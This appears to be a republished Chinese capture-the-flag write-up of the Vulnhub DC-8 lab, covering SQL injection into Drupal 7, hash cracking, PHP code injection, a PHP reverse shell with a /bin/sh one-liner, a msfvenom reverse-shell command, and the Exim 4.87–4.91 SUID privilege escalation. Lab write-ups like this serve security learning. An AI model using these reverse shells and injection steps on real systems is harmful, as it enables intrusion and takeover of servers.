Vulnhub_DC8 记录

Posted ph1sh

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub_DC8 记录相关的知识,希望对你有一定的参考价值。

DC8

技术图片

经验 & 总结

  1. 对页面的功能和对应的url要敏感。
  2. 所有的功能都要测试,要雨露均沾。
  3. 提示说的那个双因子认证……我真没找到,tweet翻了好久也没找到。
  4. 爆破虽然很无脑,但是在后台慢慢跑,万一有收获呢(当然真实环境还是需要看字典的)。
  5. 插入php代码那个地方为什么要在开头输入字符串的问题还没理清楚。

步骤流水

信息搜集

  • 下载页面的提示信息:
    • 涉及到双因子认证,POC由推特用户@theart42 提出
    • 任务目标:绕过双因子认证、获得root权限、读取flag
    • 双因子认证交互接口在SSH上
  • 端口扫描,发现只开放了80和22端口,80端口透露出的信息判断CMS为Drupal7.

    技术图片
    技术图片

  • 访问80端口页面
    技术图片

80端口

  • 一顿瞎点之后发现页面上方的导航栏和左侧的导航栏指向地址不同,而且存在sql注入。
    技术图片
    技术图片
    技术图片

  • sqlmap一把梭,因为mysql端口并没有暴露在外边,数据库中只有drupal的内容,因此将方向确定为获取drupal的用户口令。

    技术图片
    技术图片
    技术图片

  • 整理之后得到用户名和对应hash内容,利用john爆破得到john用户密码 (这个用户名应该算是提示吧)
    技术图片
    技术图片

    • 测试登录ssh和drupal,无法登录ssh但是可以登录drupal。
      技术图片
      技术图片
  • 和之前的DC7不一样,这个用户的权限比较低,只能修改页面内容,对每个功能进行尝试的时候发现一个可以插入php代码的地方。
    技术图片

    • 但是测试并没有效果,返回的是修改之前默认的内容,一顿瞎试也没解决,网上也没找到相关信息(可能是姿势不对)
      技术图片

    • 最后参照网上其他的walkthrough,发现需要在php代码之前添加其他字符

      技术图片
      技术图片

  • 获得服务器相关信息,但是尝试通过sqlmap向web目录下写文件失败,尝试使用php代码直接构造webshell,因为看起来代码执行的结果是直接包含在drupal页面中的,因此考虑使用回连式shell。
    技术图片

获取Shell

  • 添加回连代码
    • 第一个版本,可以执行,但是连接回来就掉了,不清楚原因(如果有知道原因的兄弟,还请告知~)
    <?php
      $sock=fsockopen("公网IP",端口);
      exec("/bin/sh -i <&3 >&3 2>&3");
    ?>

    技术图片

  • 使用msf生成回连shell,这个代码在执行的时候页面是一直处在加载状态的

    msfvenom -p php/reverse_php LHOST=10.0.2.15 LPORT=8888 -f raw -o reshell.php

    技术图片

  • 鸟枪换炮

    技术图片

提权

  • 使用LinEnum.sh查看相关信息

    • 内核信息:Linux dc-8 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux

    • 全局可写文件也没有什么特殊的

    • 在当前进程中看到了一个不同寻常的程序:exim4具有SUID
      技术图片

  • exim4

    exim4:

    Exim4是在剑桥大学开发的另一种消息传输代理(MTA),用于在连接到Internet的Unix系统上使用。 尽管exim的配置与sendmail的配置完全不同,但是可以安装Exim代替sendmail。

    • 确认版本
      技术图片

    • 相关漏洞
      技术图片

    • 由于我的msf框架比较老,没收录这个,同时又不想放弃已经搞下来的shell,因此选择尝试Exim 4.87 - 4.91 - Local Privilege Escalation

    技术图片
    技术图片

  • 尝试提权脚本
    技术图片

  • 检查了一下,是Windows换行符的问题,使用vim打开文件后:set ff=unix保存即可

    技术图片

  • 第一次执行失败,尝试代码中提示的第二种方法,成功提权。
    技术图片

  • 成功读取flag.txt
    技术图片

以上是关于Vulnhub_DC8 记录的主要内容,如果未能解决你的问题,请参考以下文章

Vulnhub_DC7 记录

错误记录Android Studio 编译报错 ( Could not determine java version from ‘11.0.8‘. | Android Studio 降级 )(代码片段

错误记录Android Studio 编译报错 ( Could not determine java version from ‘11.0.8‘. | Android Studio 降级 )(代码片段

[未解决问题记录]python asyncio+aiohttp出现Exception ignored:RuntimeError('Event loop is closed')(代码片段

VSCode自定义代码片段8——声明函数

CSP核心代码片段记录